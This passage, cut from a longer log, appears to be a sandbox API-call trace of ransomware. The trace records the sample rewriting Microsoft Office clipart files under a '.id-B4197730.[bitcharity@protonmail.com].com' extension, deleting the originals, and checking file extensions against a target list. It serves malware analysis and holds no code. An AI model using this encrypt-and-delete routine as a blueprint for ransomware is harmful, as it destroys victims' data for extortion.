office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.477] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=900) returned 1 [0296.477] CloseHandle (hObject=0x109c) returned 1 [0296.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0296.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.477] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.477] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0296.477] GetLastError () returned 0x0 [0296.477] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x384, lpOverlapped=0x0) returned 1 [0296.551] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x390, lpOverlapped=0x0) returned 1 [0296.552] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.552] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.552] SetEndOfFile (hFile=0x10c0) returned 1 [0296.552] CloseHandle (hObject=0x10c0) returned 1 [0296.553] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.553] SetEndOfFile (hFile=0x109c) returned 1 [0296.553] CloseHandle (hObject=0x109c) returned 1 [0296.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0296.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.554] lstrlenW (lpString=".doc") returned 4 [0296.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.554] lstrlenW (lpString=".docx") returned 5 [0296.554] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.554] lstrlenW (lpString=".pdf") returned 4 [0296.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.554] lstrlenW (lpString=".xls") returned 4 [0296.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.554] lstrlenW (lpString=".xlsx") returned 5 [0296.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.554] lstrlenW (lpString=".ppt") returned 4 [0296.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.554] lstrlenW (lpString=".zip") returned 4 [0296.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.554] lstrlenW (lpString=".rar") returned 4 [0296.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.554] lstrlenW (lpString=".bz2") returned 4 [0296.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.554] lstrlenW (lpString=".7z") returned 3 [0296.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.554] lstrlenW (lpString=".dbf") returned 4 [0296.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.554] lstrlenW (lpString=".1cd") returned 4 [0296.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.555] lstrlenW (lpString=".jpg") returned 4 [0296.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.555] lstrlenW (lpString=".doc") returned 4 [0296.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.555] lstrlenW (lpString=".docx") returned 5 [0296.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.555] lstrlenW (lpString=".pdf") returned 4 [0296.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.555] lstrlenW (lpString=".xls") returned 4 [0296.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.555] lstrlenW (lpString=".xlsx") returned 5 [0296.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.555] lstrlenW (lpString=".ppt") returned 4 [0296.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.555] lstrlenW (lpString=".zip") returned 4 [0296.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.555] lstrlenW (lpString=".rar") returned 4 [0296.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.555] lstrlenW (lpString=".bz2") returned 4 [0296.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.555] lstrlenW (lpString=".7z") returned 3 [0296.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.555] lstrlenW (lpString=".dbf") returned 4 [0296.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.555] lstrlenW (lpString=".1cd") returned 4 [0296.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0296.555] lstrlenW (lpString=".jpg") returned 4 [0296.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.556] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.556] lstrlenW (lpString="DD01628_.WMF") returned 12 [0296.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.556] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=19068) returned 1 [0296.556] CloseHandle (hObject=0x109c) returned 1 [0296.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0296.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.556] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.556] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0296.557] GetLastError () returned 0x0 [0296.557] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0296.594] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0x4a80, lpOverlapped=0x0) returned 1 [0296.595] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.596] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.596] SetEndOfFile (hFile=0x10c0) returned 1 [0296.596] CloseHandle (hObject=0x10c0) returned 1 [0296.596] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.596] SetEndOfFile (hFile=0x109c) returned 1 [0296.597] CloseHandle (hObject=0x109c) returned 1 [0296.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0296.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.597] lstrlenW (lpString=".doc") returned 4 [0296.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.597] lstrlenW (lpString=".docx") returned 5 [0296.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.597] lstrlenW (lpString=".pdf") returned 4 [0296.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.597] lstrlenW (lpString=".xls") returned 4 [0296.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.598] lstrlenW (lpString=".xlsx") returned 5 [0296.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.598] lstrlenW (lpString=".ppt") returned 4 [0296.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.598] lstrlenW (lpString=".zip") returned 4 [0296.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.598] lstrlenW (lpString=".rar") returned 4 [0296.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.598] lstrlenW (lpString=".bz2") returned 4 [0296.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.598] lstrlenW (lpString=".7z") returned 3 [0296.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.598] lstrlenW (lpString=".dbf") returned 4 [0296.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.598] lstrlenW (lpString=".1cd") returned 4 [0296.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.598] lstrlenW (lpString=".jpg") returned 4 [0296.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.598] lstrlenW (lpString=".doc") returned 4 [0296.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.598] lstrlenW (lpString=".docx") returned 5 [0296.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.598] lstrlenW (lpString=".pdf") returned 4 [0296.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.598] lstrlenW (lpString=".xls") returned 4 [0296.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.599] lstrlenW (lpString=".xlsx") returned 5 [0296.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.599] lstrlenW (lpString=".ppt") returned 4 [0296.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.599] lstrlenW (lpString=".zip") returned 4 [0296.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.599] lstrlenW (lpString=".rar") returned 4 [0296.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.599] lstrlenW (lpString=".bz2") returned 4 [0296.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.599] lstrlenW (lpString=".7z") returned 3 [0296.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.599] lstrlenW (lpString=".dbf") returned 4 [0296.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.599] lstrlenW (lpString=".1cd") returned 4 [0296.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0296.599] lstrlenW (lpString=".jpg") returned 4 [0296.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.599] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.599] lstrlenW (lpString="DD01793_.WMF") returned 12 [0296.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.600] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=3252) returned 1 [0296.600] CloseHandle (hObject=0x109c) returned 1 [0296.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0296.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.600] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.600] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0296.601] GetLastError () returned 0x0 [0296.601] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0xcb4, lpOverlapped=0x0) returned 1 [0296.645] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xcc0, lpOverlapped=0x0) returned 1 [0296.645] ReadFile (in: hFile=0x109c, lpBuffer=0x38eb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cffecc, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesRead=0x2cffecc*=0x0, lpOverlapped=0x0) returned 1 [0296.646] WriteFile (in: hFile=0x10c0, lpBuffer=0x38eb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cffc94, lpOverlapped=0x0 | out: lpBuffer=0x38eb020*, lpNumberOfBytesWritten=0x2cffc94*=0xec, lpOverlapped=0x0) returned 1 [0296.646] SetEndOfFile (hFile=0x10c0) returned 1 [0296.646] CloseHandle (hObject=0x10c0) returned 1 [0296.646] SetFilePointerEx (in: hFile=0x109c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cffec0 | out: lpNewFilePointer=0x0) returned 1 [0296.646] SetEndOfFile (hFile=0x109c) returned 1 [0296.647] CloseHandle (hObject=0x109c) returned 1 [0296.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0296.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.647] lstrlenW (lpString=".doc") returned 4 [0296.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.647] lstrlenW (lpString=".docx") returned 5 [0296.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.648] lstrlenW (lpString=".pdf") returned 4 [0296.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.648] lstrlenW (lpString=".xls") returned 4 [0296.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.648] lstrlenW (lpString=".xlsx") returned 5 [0296.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.648] lstrlenW (lpString=".ppt") returned 4 [0296.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.648] lstrlenW (lpString=".zip") returned 4 [0296.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.648] lstrlenW (lpString=".rar") returned 4 [0296.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.648] lstrlenW (lpString=".bz2") returned 4 [0296.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.648] lstrlenW (lpString=".7z") returned 3 [0296.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.648] lstrlenW (lpString=".dbf") returned 4 [0296.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.648] lstrlenW (lpString=".1cd") returned 4 [0296.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.648] lstrlenW (lpString=".jpg") returned 4 [0296.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.648] lstrlenW (lpString=".doc") returned 4 [0296.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.648] lstrlenW (lpString=".docx") returned 5 [0296.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.648] lstrlenW (lpString=".pdf") returned 4 [0296.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.649] lstrlenW (lpString=".xls") returned 4 [0296.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.649] lstrlenW (lpString=".xlsx") returned 5 [0296.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.649] lstrlenW (lpString=".ppt") returned 4 [0296.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.649] lstrlenW (lpString=".zip") returned 4 [0296.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.649] lstrlenW (lpString=".rar") returned 4 [0296.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.649] lstrlenW (lpString=".bz2") returned 4 [0296.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.649] lstrlenW (lpString=".7z") returned 3 [0296.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.649] lstrlenW (lpString=".dbf") returned 4 [0296.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.649] lstrlenW (lpString=".1cd") returned 4 [0296.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0296.649] lstrlenW (lpString=".jpg") returned 4 [0296.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.649] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.649] lstrlenW (lpString="ED00172_.WMF") returned 12 [0296.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0296.650] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=2700) returned 1 [0296.650] CloseHandle (hObject=0x109c) returned 1 